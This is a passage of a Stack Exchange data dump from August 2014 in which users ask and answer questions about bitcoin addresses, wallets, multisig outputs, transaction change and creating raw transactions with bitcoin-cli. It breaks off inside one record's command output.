  <row Id="29927" PostTypeId="2" ParentId="29925" CreationDate="2014-08-08T14:00:11.153" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I read that wallet/account is not the same as bitcoin address. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A bitcoin-wallet is only a way to store multiple &lt;a href=&quot;https://en.bitcoin.it/wiki/Private_key&quot; rel=&quot;nofollow&quot;&gt;private keys&lt;/a&gt; (corresponding to multiple &lt;a href=&quot;https://en.bitcoin.it/wiki/Address&quot; rel=&quot;nofollow&quot;&gt;bitcoin-address&lt;/a&gt;). &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The address can be used only for single transaction. How do you receive donations on your address?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Addresses can be used for an infinite number of transactions. If you put a &lt;a href=&quot;https://kinsta.com/blog/add-bitcoin-wordpress/&quot; rel=&quot;nofollow&quot;&gt;donation button&lt;/a&gt; somewhere referring to an bitcoin-address of yours, all those donations will get paid to this one. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Are wallet addresses unique for the network so that I can generate my wallet in one service, &#xA;  eg. blockchain.info, and used it in different service?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;With a wallet (like the bitcoin-core client) you can generate new bitcoin-addresses as well as using other services like blockchain.info. Those addresses are unique and by &lt;a href=&quot;https://en.bitcoin.it/wiki/How_to_import_private_keys&quot; rel=&quot;nofollow&quot;&gt;exporting/importing&lt;/a&gt; the private key you can use those addresses in other services as well.&lt;/p&gt;&#xA;" OwnerUserId="17113" LastActivityDate="2014-08-08T14:00:11.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29928" PostTypeId="2" ParentId="29925" CreationDate="2014-08-08T14:03:14.447" Score="2" Body="&lt;p&gt;When simplified a lot, Bitcoin address can be seen as a public / private key pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wallet can contain several addresses. There is no relationship back from the address to an wallet - basically wallet is just a list of addresses known to you. Wallet also knows the  private key to these addresses which it is using when you send Bitcoins out from a wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually you publish your public part of Bitcoin address on a web page, so others can send  Bitcoins to this address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the same address to receive multiple transactions. This is how people usually receive donations. They just publish their Bitcoin address on a web page. With some programming, you can generate a new address for every donation if you want to maintain more privacy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some Bitcoin wallets allow you to import/export addresses and their keys, so &lt;em&gt;in theory&lt;/em&gt; you can move addresses to different wallet: &lt;a href=&quot;https://en.bitcoin.it/wiki/How_to_import_private_keys&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/How_to_import_private_keys&lt;/a&gt; - however not all wallets support this, this is advanced operation and normally not recommended for a normal user. So if you want to migrate to a different wallet (service/software) I suggest you just start using it, send bitcoins from old wallet to new one, generate new receiving Bitcoin address in the new wallet and publish this address.&lt;/p&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2014-08-08T14:03:14.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29931" PostTypeId="1" AcceptedAnswerId="29940" CreationDate="2014-08-08T17:57:22.693" Score="1" ViewCount="4533" Body="&lt;p&gt;An answer on this page says that &lt;a href=&quot;https://bitcoin.stackexchange.com/a/21459/7292&quot;&gt;neither bitcoins nor satoshis have any identity&lt;/a&gt;. I then read that &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Anonymity&quot; rel=&quot;nofollow noreferrer&quot;&gt;You may consider a bitcoin to be &quot;less-anonymous&quot; when an attacker&#xA;  could feasibly find the true identity of a very recent owner of the&#xA;  bitcoin, perhaps because one of the bitcoin addresses was posted to a&#xA;  website, or because he knows some identifying information through&#xA;  other means.&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As you see it mentions &lt;strong&gt;bitcoin addresses&lt;/strong&gt;! These two statements seem to be in conflict, which is true?&lt;/p&gt;&#xA;" OwnerUserId="7292" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2017-01-31T11:00:20.883" Title="What is bitcoin ID?" Tags="|address|traceability|identity|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29932" PostTypeId="2" ParentId="29931" CreationDate="2014-08-08T18:29:06.783" Score="1" Body="&lt;p&gt;You can see addresses and transactions. But you can't get the owner of this address unless he or someone else is publishing the identity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, this happend when the coins of silk road where seized: &lt;a href=&quot;http://blockchain.info/address/1F1tAaz5x1HUXrCNLbtMDqcw6o5GNn4xqX&quot; rel=&quot;nofollow&quot;&gt;1F1tAaz5x1HUXrCNLbtMDqcw6o5GNn4xqX&lt;/a&gt;.&#xA;Everyone can check where those coins went to from there on. Blockchain.info allows people to add a note to an address, to let others easily find those addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normaly people would not post their identity. So if you look into the blockchain and see someone send 1 BTC to someone else, you will never know which persons traded those coins. Therefore it's anonymous. &lt;/p&gt;&#xA;" OwnerUserId="17113" LastActivityDate="2014-08-08T18:29:06.783" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="29934" PostTypeId="1" CreationDate="2014-08-08T19:20:39.840" Score="2" ViewCount="659" Body="&lt;p&gt;I'm sorry about the title, but I could not think of a more condensed way to describe this problem. I forked an older version of blackcoin a while back to make a test altcoin for fun. I have been running it on a few vps nodes and a client. It was set to go to pos after a short pow period, and has been running smoothly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I recently cloned the latest Blackcoin source (the one that switches to posv2 after a certain block) and edited it to connect to my test coin. It does this, but for some reason every block it stakes is conflicted, even though it is not set to switch to protocol v2 until some block in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this? I have looked over the pos algorithm in &lt;code&gt;kernel.cpp&lt;/code&gt; and &lt;code&gt;CheckStakeKernelHash&lt;/code&gt; should definitely use the ppc pos algo. Why are they all conflicted? Every pos transaction gets 1 confirm, then conflicts.&lt;/p&gt;&#xA;" OwnerUserId="10229" LastEditorUserId="5406" LastEditDate="2016-04-24T10:13:01.607" LastActivityDate="2016-04-24T10:13:01.607" Title="PoS coin is producing conflicted chain after merging with upstream developments" Tags="|altcoin-development|proof-of-stake|blackcoin|block-validity|" AnswerCount="0" CommentCount="6" ClosedDate="2019-07-17T17:32:06.410" ContentLicense="CC BY-SA 3.0" />
  <row Id="29935" PostTypeId="2" ParentId="23707" CreationDate="2014-08-08T19:45:46.220" Score="0" Body="&lt;p&gt;This is not trivial, have you thought about chain reorgs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a client side phenomenon, depending on who you're connected to in the P2P network. If there's a race between two miners - they publish two blocks, A and B, at the same time, some people will believe one or the other. Eventually one of the chains will be elongated making it the longest and valid chain. We'll say that B was added to. Any tx's in A would no longer be valid, so your app needs to deal with this, and not show duplicate transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not entirely sure on the behavior from the client either - if a reorg is 3 blocks deep, does it issue callbacks (blocknotify) on all 3 new blocks? Or just the highest, best block? Maybe you need to recurse backwards from the latest block every time until you find a parent block you've already encountered?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scaling is an issue here - I've started down this path before and you need to try reduce the number of queries you make over the RPC. Try decoding transactions using &lt;a href=&quot;https://github.com/Bit-Wasp/bitcoin-lib-php&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Bit-Wasp/bitcoin-lib-php&lt;/a&gt; instead of using the RPC, maybe that'll help. &lt;/p&gt;&#xA;" OwnerUserId="11123" LastActivityDate="2014-08-08T19:45:46.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29936" PostTypeId="2" ParentId="28089" CreationDate="2014-08-08T20:05:22.483" Score="1" Body="&lt;p&gt;Your server creates the transaction, so it knows what to compare it to. I create a json array of the outputs, hash and store the resut. Later when a user submits a partially signed, or fully signed transaction, I need to check it's valid. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First verify the inputs are the correct txid's, and that a signature was added by that user by doing ECDSA signature verification. This parts tough, look at &lt;a href=&quot;http://en.bitcoin.it/wiki/OP_CHECKSIG&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/OP_CHECKSIG&lt;/a&gt;. Then compare the hash of the outputs against what you're expecting, since if an address or amount changes, you'll get a different result. &lt;/p&gt;&#xA;" OwnerUserId="11123" LastActivityDate="2014-08-08T20:05:22.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29937" PostTypeId="2" ParentId="8430" CreationDate="2014-08-08T20:07:51.543" Score="0" Body="&lt;p&gt;I wrote some analysis of the multisig P2SH transactions in the blockchain; &lt;a href=&quot;http://www.coindesk.com/year-multisig-so-far/&quot; rel=&quot;nofollow&quot;&gt;http://www.coindesk.com/year-multisig-so-far/&lt;/a&gt; Around April this year there were like 7,000 transactions. I have the frequency per 2500 blocks, showing a nice histogram of their increasing usage, and also the top 4 address types (2-of-3, 2-of-2, etc).&lt;/p&gt;&#xA;" OwnerUserId="11123" LastActivityDate="2014-08-08T20:07:51.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29938" PostTypeId="1" CreationDate="2014-08-08T21:35:28.193" Score="1" ViewCount="304" Body="&lt;p&gt;How do you scan the UTXO set for multisig UTXOs that you have the keys to sign (or partially sign)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, how do the wallets know they are part of a multisig transaction?&lt;/p&gt;&#xA;" OwnerUserId="18688" LastActivityDate="2014-08-09T09:45:07.327" Title="Find Multisig coins" Tags="|multi-signature|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29939" PostTypeId="2" ParentId="29938" CreationDate="2014-08-08T22:46:13.547" Score="2" Body="&lt;p&gt;It depends on whether its a &quot;Pay to Script Hash&quot; (see &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0016.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP 16&lt;/a&gt;) multi-signature transaction or just a bare multi-signature transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's a &quot;Pay to Script Hash&quot;, you need to know all the other public keys involved including your own so you can figure out the script hash. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's a bare transaction, than you just need to know your own public key as each public key involved in the multi-signature transaction is listed in the output script. &lt;/p&gt;&#xA;" OwnerUserId="7267" LastActivityDate="2014-08-08T22:46:13.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29940" PostTypeId="2" ParentId="29931" CreationDate="2014-08-08T22:56:56.693" Score="4" Body="&lt;p&gt;The paragraph you copied from the Bitcoin wiki is imprecise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Transactions&lt;/em&gt; result in &lt;em&gt;transaction outputs&lt;/em&gt; that usually are associated with specific &lt;a href=&quot;https://bitcoin.stackexchange.com/q/13059/5406&quot;&gt;&lt;em&gt;addresses&lt;/em&gt;&lt;/a&gt;. I.e. there is a balance of bitcoins associated with an address, that only can be spent by an order signed with the address' corresponding &lt;em&gt;private key&lt;/em&gt;. The bitcoins itself are not identifiable, rather the path that they arrived through may be traceable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example, let's assume there are two transactions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Transaction 1: A --- 1 BTC ---&amp;gt; B&#xA;Transaction 2: B --- 1 BTC ---&amp;gt; C&#xA;&#xA;A, B, and C are addresses in this case.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What the text from the wiki is trying to confer is that if somebody knew who owned address &lt;strong&gt;A&lt;/strong&gt;, they might be able to force this person to tell them who owns the address &lt;strong&gt;B&lt;/strong&gt;. This second Bitcoin user might then be forced to reveal the owner of address &lt;strong&gt;C&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the bitcoins itself do not have any identifiable footprint in the system, they merely exist in form of a transaction output's balance that may only be created through mining or the destruction of a previous balance.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:34.187" LastActivityDate="2014-08-12T21:14:44.737" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="29942" PostTypeId="2" ParentId="29681" CreationDate="2014-08-09T03:09:08.867" Score="1" Body="&lt;p&gt;I encountered the same problem and solved it by appending the following code to ~/.bash_profile file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;export CPATH=/usr/local/include&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18916" LastActivityDate="2014-08-09T03:09:08.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29944" PostTypeId="1" AcceptedAnswerId="29945" CreationDate="2014-08-09T06:53:25.560" Score="0" ViewCount="108" Body="&lt;p&gt;&lt;a href=&quot;http://test.insight.is/address/mkB48VbaG1Ng3K9ouuLmAFLik664ymVNrD&quot; rel=&quot;nofollow&quot; title=&quot;test address&quot;&gt;Here&lt;/a&gt; is a testnet address I've been experimenting with,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://test.insight.is/tx/b42199f7ee392be8ccffed05f501e32a2a4783aa8e3e96667edfaf12ad1d0397&quot; rel=&quot;nofollow&quot; title=&quot;Transaction&quot;&gt;Here&lt;/a&gt; is some test BTC leaving the address,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't initiate the transfer though, is this a feature of the testnet to keep the faucets stocked perhaps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My wallet is provided by TP's bitcoin faucet from &lt;a href=&quot;http://tpfaucet.appspot.com/&quot; rel=&quot;nofollow&quot; title=&quot;Tp&amp;#39;s testnet faucet&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance :)&lt;/p&gt;&#xA;" OwnerUserId="15533" LastActivityDate="2014-08-09T07:01:35.270" Title="Are bitcoin testnet addresses taxed?" Tags="|wallet|testnet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29945" PostTypeId="2" ParentId="29944" CreationDate="2014-08-09T07:01:35.270" Score="1" Body="&lt;p&gt;No, even in Testnet, there is no legitimate reason for coins to be leaving your address without you initiating it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible you somehow sent the transaction by mistake, or that someone else (perhaps a virus or Trojan) gained access to your private keys.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-08-09T07:01:35.270" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="29947" PostTypeId="1" AcceptedAnswerId="29977" CreationDate="2014-08-09T08:59:56.203" Score="5" ViewCount="1777" Body="&lt;p&gt;I was looking my &lt;code&gt;bitcoind&lt;/code&gt; log and I saw this message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Misbehaving: 91.230.200.131:8333 (90 -&amp;gt; 100) BAN THRESHOLD EXCEEDED&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In which cases this message is shown and why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It just a curiosity.&lt;/p&gt;&#xA;" OwnerUserId="1761" LastEditorUserId="18196" LastEditDate="2015-01-15T21:42:38.207" LastActivityDate="2015-01-15T21:42:38.207" Title="What is the &quot;misbehaving&quot; log message?" Tags="|bitcoind|nodes|logging|banscore|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29948" PostTypeId="1" AcceptedAnswerId="29959" CreationDate="2014-08-09T09:23:01.877" Score="17" ViewCount="15032" Body="&lt;p&gt;There are a lot of applications when someone would like to import a private key. However in wiki documentation they say it is very dangerous: &lt;a href=&quot;https://en.bitcoin.it/wiki/How_to_import_private_keys&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/How_to_import_private_keys&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;WARNING&lt;/strong&gt; Before reading this page, users should note that messing with&#xA;  ECDSA private keys is very dangerous and can result in losing&#xA;  bitcoins, even long after the import. It is recommended that outside&#xA;  of self-generated vanity addresses, users should never import (or&#xA;  export) private keys.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Note that importing a key to bitcoind and/or Bitcoin-Qt may be&#xA;  dangerous and is not recommended unless you understand the full&#xA;  details of how it works.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Why is it that dangerous and what are the alternatives if you are using cold storage, a paper wallet or generating vanity addresses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Related:&lt;/strong&gt; &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/18619/why-so-many-warnings-about-importing-private-keys&quot;&gt;Why so many warnings about importing private keys?&lt;/a&gt; (but it is about warnings on &lt;strong&gt;blockchain.info&lt;/strong&gt; and not &lt;strong&gt;bitcoind&lt;/strong&gt;). I'm not sure if the warnings are due to the same reason.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1761" LastEditorUserId="3684" LastEditDate="2017-11-22T04:35:46.800" LastActivityDate="2020-04-09T18:25:49.937" Title="Why doc says importing private keys is so dangerous?" Tags="|bitcoind|private-key|import|private-key-import|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29949" PostTypeId="2" ParentId="18043" CreationDate="2014-08-09T09:30:06.007" Score="1" Body="&lt;p&gt;Every time you send bitcoins to address, you're encumbering those coins with a script that needs to be solved - &quot;These coins are redeemable under X circumstances&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone is free to pay into whatever address they like. However, until the requirements for redemption are met, they cannot leave the address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you send funds to a multisig address, you're solving this redemption puzzle for coins you have access to (by solving the Pay-to-pubkey-hash puzzle, by simple providing one signature), and sending them to an address where the puzzle is 'give me m signatures from these n keys'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Funding a multisig address, like all transactions, is irreversible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The coins can only be moved when the requirements of the script are met. This could be 1-of-1..1-of-3.. 2-of-3... or m-of-n. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Partially signed transactions cannot be broadcast or relayed over the network, so you need to communicate them using a different channel. If you have a 2-of-2 address, you add one signature, and say, your friend, the exchange, your wife, doesn't sign or simply cannot, the funds are stuck. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a wallet provider out there who actually does 2-of-3, and never signs with the third.. So if their service goes down, they will release the third private key, meaning any user can provide their own sig, AND a second using this new key, and users can recover their funds.&lt;/p&gt;&#xA;" OwnerUserId="11123" LastActivityDate="2014-08-09T09:30:06.007" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29950" PostTypeId="2" ParentId="23137" CreationDate="2014-08-09T09:34:55.700" Score="2" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;What happens if funds are sent to the multi-sig address and say the seller is hit by a bus before posting the adorable Hello Kitty™ mug that you bought?&lt;/p&gt;&#xA;&lt;p&gt;Does the 3rd party simply sign a transaction returning the coins to the buyer?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Yes, if your address has a public key for 3 users, and you have problems receiving your goods, you can ask the arbitrator to sign review the situation and maybe create a transaction which pays you the money in the address. You sign, he signs, you get a refund. It's at the whim of the arbitrator.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;What about the general case of an address where n == i? Are the coins lost?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Yes, if anyone loses their key, and the address requires same number of sigs as public keys, you cannot recover the funds.&lt;/p&gt;&#xA;" OwnerUserId="11123" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-08-09T21:57:42.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29951" PostTypeId="2" ParentId="29938" CreationDate="2014-08-09T09:45:07.327" Score="1" Body="&lt;p&gt;I did this before - move through the blockchain doing getblock() on each block.. For each tx, decode it, and loop through each output. Analyze the scriptPubKey of each output - if it matches 'OP_HASH160  OP_EQUAL' then you know that the output is paying to a pay-to-script-hash address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An important note - scripts aren't revealed in the funding transaction, so you don't know if the tx IS a multisig just by looking at the funding output, only that it's pay-to-script-hash. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's for a wallet:&#xA;A wallet can only realize multisig coins belong to it when it has all the public keys, and can produce the necessary script. Wallets are simply scrapers for Pay-to-pubkey-hash or Pay-to-script-hash transactions where you have a pubkey hash or script hash respectively, in your wallet already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're researching these tx's:&#xA;You can learn the redeemScript when the funds are redeemed. I think there were 14000 multisig outputs that weren't spam, but only 7000 of these were ever redeemed. So, you can only learn if these 7000 were multisig. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.coindesk.com/year-multisig-so-far/&quot; rel=&quot;nofollow&quot;&gt;http://www.coindesk.com/year-multisig-so-far/&lt;/a&gt; has some graphs on my analysis. I can give you PHP code to repeat this, although DB queries slowed it down massively - I needed to log all txids with multisig outputs, and then check every input in every transaction if they spent a tx I knew to be a P2SH. I aborted and asked someone else to produce the data...&lt;/p&gt;&#xA;" OwnerUserId="11123" LastActivityDate="2014-08-09T09:45:07.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29953" PostTypeId="1" AcceptedAnswerId="29960" CreationDate="2014-08-09T13:13:22.333" Score="1" ViewCount="122" Body="&lt;p&gt;I'm confused about how exactly I should compute a change for transactions.&lt;br&gt;&#xA;Say, for a given address I have 4 unspent outputs containing 2 BTC each and I want to send 5 BTC to other address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what I do:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Find 3 outputs needed so the total is 6 BTC&lt;/li&gt;&#xA;&lt;li&gt;Now, what should the change be? 6-5=1 or 8-5=3?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12533" LastEditorUserId="12533" LastEditDate="2014-08-09T20:10:51.480" LastActivityDate="2014-08-10T08:25:23.023" Title="Transaction change calculation" Tags="|development|change|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="29954" PostTypeId="1" CreationDate="2014-08-09T15:56:06.967" Score="-3" ViewCount="336" Body="&lt;p&gt;I understand that this is not appropriate question but it obsesses me for a long time (other forums do not give certain answer) and I think that finantial cryptography experts should understand this very well. I am interested to know what prevents bank to issue more money than it has on its deposits. Say, customers transferred 1000k dollars to bank. What prevents it to lend 100M as loans/withdrawals? I think that every bitcoin user is such banker and answer must be answered.&lt;/p&gt;&#xA;" OwnerUserId="7292" LastActivityDate="2015-06-27T23:54:56.690" Title="What prevents banks from printing electronic money?" Tags="|banks|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="29955" PostTypeId="1" AcceptedAnswerId="29966" CreationDate="2014-08-09T18:07:00.703" Score="10" ViewCount="6869" Body="&lt;p&gt;I want to create and sign bitcoin transaction &lt;strong&gt;using only 'bitcoind' and 'bitcoin-cli'&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can create a transaction using &lt;strong&gt;createrawtransaction&lt;/strong&gt; RPC API, but signing it using 'signrawtransaction' fails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: &lt;em&gt;I figured it out and answered myself below. Take care to have scriptPubKey correct and leave redeemScript empty for simple transactions.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The private key is not stored in &lt;strong&gt;bitcoind&lt;/strong&gt;'s built-in wallet. That is, private / public key pair was created by vanity utility (for example).&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Setup&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&quot;from&quot; address&quot;: &lt;code&gt;1AsJjnWg5QKBThM6mK9jZ8mmo6KUzDjRD&lt;/code&gt; (&lt;code&gt;From_Addr_1As&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&quot;to&quot; address:    &lt;code&gt;1Mu5S5fuztimKZizvYZjKwpYfM9ZFf7zmo&lt;/code&gt; (&lt;code&gt;To_Addr_1Mu&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;transaction that sent funds to &lt;code&gt;From_Addr_1As&lt;/code&gt;: &lt;code&gt;4325a5db66cbc8e9ff6a585cd0e8a2288ea74f9b46d2972b93f63bbb7d09a23e&lt;/code&gt; (&lt;code&gt;Prev_Tx_4325&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;new transaction is &lt;code&gt;New_Tx&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Funding&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The transaction (&lt;code&gt;Prev_Tx_4325&lt;/code&gt;) sent 0.00187 BTC to &lt;code&gt;From_Addr_1As&lt;/code&gt;:&#xA;&lt;a href=&quot;https://blockchain.info/tx/4325a5db66cbc8e9ff6a585cd0e8a2288ea74f9b46d2972b93f63bbb7d09a23e&quot; rel=&quot;noreferrer&quot;&gt;https://blockchain.info/tx/4325a5db66cbc8e9ff6a585cd0e8a2288ea74f9b46d2972b93f63bbb7d09a23e&lt;/a&gt; - also seen in the address transaction view &lt;a href=&quot;https://blockchain.info/address/1AsJjnWg5QKBThM6mK9jZ8mmo6KUzDjRD&quot; rel=&quot;noreferrer&quot;&gt;https://blockchain.info/address/1AsJjnWg5QKBThM6mK9jZ8mmo6KUzDjRD&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to send 0.00186 BTC from &lt;code&gt;From_Addr_1As&lt;/code&gt; to &lt;code&gt;To_Addr_1Mu&lt;/code&gt;.&#xA;The 0.00001 BTC fee included.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Bash Shell: Create Raw Transaction (successful):&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$ ./bitcoin-cli -rpcpassword=123456 createrawtransaction '[{&quot;txid&quot;:&quot;4325a5db66cbc8e9ff6a585cd0e8a2288ea74f9b46d2972b93f63bbb7d09a23e&quot;,&quot;vout&quot;:0}]' '{&quot;1AsJjnWg5QKBThM6mK9jZ8mmo6KUzDjRD&quot;:0.00186}'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Command output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;01000000013ea2097dbb3bf6932b97d2469b4fa78e28a2e8d05c586affe9c8cb66dba525430000000000ffffffff0190d60200000000001976a91401ddbca1a39b60b54fb671297a4a20a7681e017188ac00000000&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Bash Shell: Decode Raw Transaction (successful):&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Pay attention: 'scriptSig' is empty!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$ ./bitcoin-cli -rpcpassword=123456 decoderawtransaction 01000000013ea2097dbb3bf6932b97d2469b4fa78e28a2e8d05c586affe9c8cb66dba525430000000000ffffffff0190d60200000000001976a91401ddbca1a39b60b54fb671297a4a20a7681e017188ac00000000&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Command output:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{&#xA;    &quot;txid&quot; : &quot;b1ff3da36a6d7c3aaaee41428a7e239baa6243e37d7e1db60ea022d9f994ec52&quot;,&#xA;    &quot;version&quot; : 1,&#xA;    &quot;locktime&quot; : 0,&#xA;    &quot;vin&quot; : [&#xA;        {&#xA;            &quot;txid&quot; : &quot;4325a5db66cbc8e9ff6a585cd0e8a2288ea74f9b46d2972b93f63bbb7d09a23e&quot;,&#xA;            &quot;vout&quot; : 0,&#xA;            &quot;scriptSig&quot; : {&#xA;                &quot;asm&quot; : &quot;&quot;,&#xA;                &quot;hex&quot; : &quot;&quot;&#xA;            },&#xA;            &quot;sequence&quot; : 4294967295&#xA;        }&#xA;    ],&#xA;    &quot;vout&quot; : [&#xA;        {&#xA;            &quot;value&quot; : 0.00186000,&#xA;            &quot;n&quot; : 0,&#xA;            &quot;scriptPubKey&quot; : {&#xA;                &quot;asm&quot; : &quot;OP_DUP OP_HASH160 01ddbca1a39b60b54fb671297a4a20a7681e0171 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;                &quot;hex&quot; : &quot;76a91401ddbca1a39b60b54fb671297a4a20a7681e017188ac&quot;,&#xA;                &quot;reqSigs&quot; : 1,&#xA;                &quot;type&quot; : 